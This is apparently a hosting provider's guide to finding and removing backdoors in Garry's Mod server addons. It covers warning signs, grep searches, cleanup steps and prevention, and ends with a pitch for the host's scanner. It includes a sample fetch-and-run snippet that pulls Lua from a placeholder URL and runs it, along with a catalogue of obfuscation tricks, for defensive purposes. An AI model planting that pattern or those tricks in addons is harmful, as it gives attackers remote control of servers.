How to find and remove a GMod backdoor

Every addon you install runs as Lua with full access to your server. Some addons - usually cracked, leaked, or bundled from unknown sources - contain code that gives someone else remote access to it. This is what that code actually looks like, how to find it yourself, how to clean it up, and how to stop it happening again.

If you think your server is compromised right now, do this before reading further:

Stop the server. Whatever is running stops running.
Change your RCON password and any panel/SFTP passwords shared with anyone outside your core team.
Open your admin mod's user list (ULX, SAM, whichever you run) and check for SteamIDs you don't recognise with admin or superadmin rank.
Do not restart the server until you've found and removed the file. Restarting just re-runs whatever is in it.

Then come back here for how to actually find it.

Signs your server has a backdoor

A backdoor doesn't always announce itself. These are the tells, roughly in order of how obviously bad they are:

Admin ranks you didn't grant

A player has superadmin or admin who was never given it by you or your staff. This is the single most reliable sign - it means someone already has the access a backdoor is built to provide.

RCON password stopped working, or was changed

If it changed and you didn't change it, someone else has server access equal to yours.

Server behaviour you can't explain

Players getting banned or kicked with no admin online. The server crashing at odd times. Console spam you don't recognise, especially anything mentioning a URL.

Unexpected outbound connections or file changes

A file in your addons folder with a recent modified date you didn't touch. If your host gives you connection logs or a firewall panel, an unfamiliar outbound destination is worth investigating.

An addon you installed recently, from a source you can't fully vouch for

This isn't a symptom you observe after the fact - it's the leading indicator before anything else happens. If you installed a free "addon pack" or a cracked paid addon in the last few weeks, start your search there.

How to find it by hand

You don't need to read Lua fluently to do this. You're pattern-matching for a small number of specific things. Open your garrysmod/addons/ folder (or use your panel's file editor / search) and look for the following, roughly in the order a real backdoor tends to combine them.

1. Direct code execution

Search every .lua file for these function names: RunString, RunStringEx, CompileString, loadstring, BroadcastLua, SendLua. Each of these takes a string and executes it as Lua code. That's their entire job - there's no other reason to call them. Finding one isn't proof of a backdoor by itself (a small handful of legitimate admin tools use RunString for sandboxed console commands), but it's always worth reading the line it's on.

2. The fetch-and-run chain

This is the actual working backdoor mechanism in the overwhelming majority of real cases. The pattern is always some variation of: fetch a URL, take what comes back, execute it as code.

http.Fetch("https://<some-domain>/payload.txt", function(body)
    RunString(body)
end)

This is the shape to search for: http.Fetch or http.Post anywhere in a file that also contains RunString, CompileString, or loadstring - even if they're not on the same line, even if there's a layer of indirection between them (a function that just wraps RunString under a different name, for example). The URL fetched and the code run are the two things that matter; everything else in the file can be a completely normal, working addon built around this one hidden call.

3. Net-message abuse

Search for net.Receive handlers that pass their incoming data straight to RunString or similar. This one is worse than the fetch-and-run pattern in one specific way: it doesn't require the original attacker's server to still be up. Any connected client can trigger it, which means it can function as a standing remote-execution hole usable by anyone who knows it's there, not just whoever planted it.

4. Obfuscation - code hiding what it does

Legitimate GMod addons don't hide their own source. If you find code that's clearly trying not to be read, treat that as a red flag on its own, independent of whether you can immediately tell what it does. What to look for:

Long chains of string.char(...) - building a string one character code at a time instead of just writing the string. A real example looks like string.char(82,117,110,83,116,114,105,110,103) instead of just writing "RunString".
Base64-looking blobs - long runs of letters, digits, +, /, often ending in = or ==, usually passed to a decode function and then to RunString or loadstring.
Hex or decimal escape chains - a string that's almost entirely \x or \ followed by numbers.
string.reverse(...) wrapped around something - a cheap way to keep a suspicious string name (like a domain or function name) out of a plain-text search.
Bracket-indexed globals with a computed key - _G["Run" .. "String"](...) or _G[someVariable](...) instead of just calling the function directly. This exists specifically to dodge a naive text search for the function name.
getfenv, setfenv, or the debug.* introspection functions (debug.getregistry, debug.getupvalue, debug.setupvalue) - these reach into the Lua runtime environment itself. They have legitimate niche uses in a handful of advanced admin/dev tools; in an addon that has no obvious reason to need them, they're worth a second look.

5. Unfamiliar domains

Search your files for http:// and https:// and read every result. A domain you don't recognise, especially combined with any of the above, is the strongest single signal you'll find. Some specific patterns that show up disproportionately often in real cases: raw pastebin links (pastebin.com/raw/...), bare IP addresses instead of a domain, and domains on free top-level domains like .tk, .ml, .cf, or .gq. None of these prove anything by themselves - plenty of legitimate tools use pastebin for changelogs - but they're worth being suspicious of by default rather than assuming they're fine.

Actually searching your files

If you have SSH or terminal access, grep is faster than opening files one at a time: grep -rn "RunString\|loadstring\|CompileString" garrysmod/addons/ gets you every line across every addon in one pass, with the file and line number attached. Run it once for the execution functions, once for http.Fetch\|http.Post, and once for getfenv\|setfenv\|debug\.get. Cross-reference the file paths that show up in more than one search - a file that appears in both the HTTP search and the execution-function search is the one to read first.

Cleaning it up

Keep the server offline until you've done the rest of this. Every restart re-runs whatever's still there.
Remove the whole addon, not just the flagged file. If an addon shipped a backdoor, treat everything it installed as untrusted - some backdoors write a second, differently-named file on first run specifically so removing the obvious one doesn't fully clean the infection.
Check for anything the backdoor added on its own - a new file in your addons folder you didn't put there, an unfamiliar cron-style timer, a startup script that references a file you don't recognise.
Rotate every credential the server had access to - RCON, SFTP, panel password, and the MySQL/database credentials if the addon in question had database access. If it's possible the attacker had shell-level or SFTP access rather than just RunString-level access, treat any credential stored in plain text anywhere on that server as burned.
Audit your admin list. Remove any SteamID with elevated rank you can't personally account for.
Reinstall the addon from a source you actually trust, if you still want it - the Workshop page of an author with a real history, not wherever the compromised copy came from. Don't just re-download from the same place and assume it's fixed now.
Restart, then watch it. Keep an eye on console output and your admin list for the first day or two after bringing it back up.

Preventing the next one

Source addons you can vouch for. The Workshop page of an author with a real upload history and real comments is a meaningfully different risk than a zip file from a Discord server or a "free DarkRP pack" bundling forty addons from accounts you've never heard of.
Be specifically suspicious of cracked or leaked paid addons. Someone willing to redistribute another developer's paid work without permission has already shown they're willing to modify what they're giving you, and you have no way to verify what else changed.
Read new addons before installing them when you reasonably can, especially anything from a source you're not fully confident in. You don't need to understand every line - just run the searches from the section above against it first.
Keep your admin list tight. Superadmin for the owner, admin for people you'd trust with your RCON password, nothing above moderator for everyone else. Every elevated account is one more way in if it's ever compromised on the player's end, not just yours.
Leave sv_allowcslua off unless you specifically know why an addon needs it. It lets connected clients run Lua on their own machine, which is a different (and much more common) attack surface than a server-side backdoor, but it's the same instinct: don't grant execution capability you don't need.
Keep backups you can actually restore from, separate from the live server. If cleanup ever goes wrong, or you find the compromise later than you'd like, a known-good backup from before the bad addon was installed is worth more than a perfect manual cleanup.
Re-check after every addon change, not just once. A server that was clean last month isn't necessarily clean today - run through the searches above (or a scanner, if you have one) any time you add, update, or re-enable an addon.

Where a scanner fits in

Everything above is what you can do by hand, on any host, with no tooling. It works, and it's the actual skill that matters here. A scanner's job is to do the same searches faster and more consistently than a person re-running grep at 2am - not to replace understanding what it's looking for.

Zeros Host's panel includes one. Under the hood it's mostly pattern matching against a maintained list of known backdoor signatures - the function names, domain patterns, and obfuscation shapes described above - plus real AST parsing (via a proper Lua parser, not text matching) for a small set of specific obfuscation techniques that plain pattern matching reliably misses, like a dynamically-built _G[key](...) call or a dangerous function aliased to an innocent-looking local variable before it's used.

It will not catch everything. Heavily obfuscated or genuinely novel techniques can get past any static scanner, this one included, and it isn't a substitute for only installing addons you actually trust. Treat a clean result as one useful signal among several, not a guarantee - and if you're ever in doubt about a finding, read the actual line it points you to. That's true whether you're using our scanner, someone else's, or just your own eyes and the searches above.

Frequently asked questions

My server was just backdoored. What do I do first?

Stop the server so nothing further can happen while you work, then rotate your RCON password and check your admin group for accounts you do not recognise. Do the rest of the cleanup with the server offline, not live.

How do backdoors usually get onto a GMod server?

Almost always through an addon: a cracked or leaked paid addon, a free "DarkRP pack" bundling dozens of addons from unknown authors, or a Workshop addon uploaded by an account with no history. The backdoor rides in as ordinary-looking Lua alongside real functionality.

Can I just delete the file the scanner flags and move on?

If it is a clear RunString-from-HTTP chain to an unfamiliar domain, yes, remove the whole addon, not just the file - the backdoor may have written other files during install. If it is a medium-severity finding like a bare http.Fetch, read the surrounding code first. Plenty of legitimate addons check for updates.

Will a scanner catch every backdoor?

No. No static scanner catches everything, and anyone claiming otherwise about their own tool is not being straight with you. Pattern and AST-based scanners catch known techniques reliably and miss novel or heavily obfuscated ones. Treat a clean scan as one signal, not a guarantee.

If you're setting up a new GMod server

Zeros Host's panel includes the scanner described above, a Mod Manager, and an in-browser file editor - no FTP client or extra tools needed.

See GMod hosting →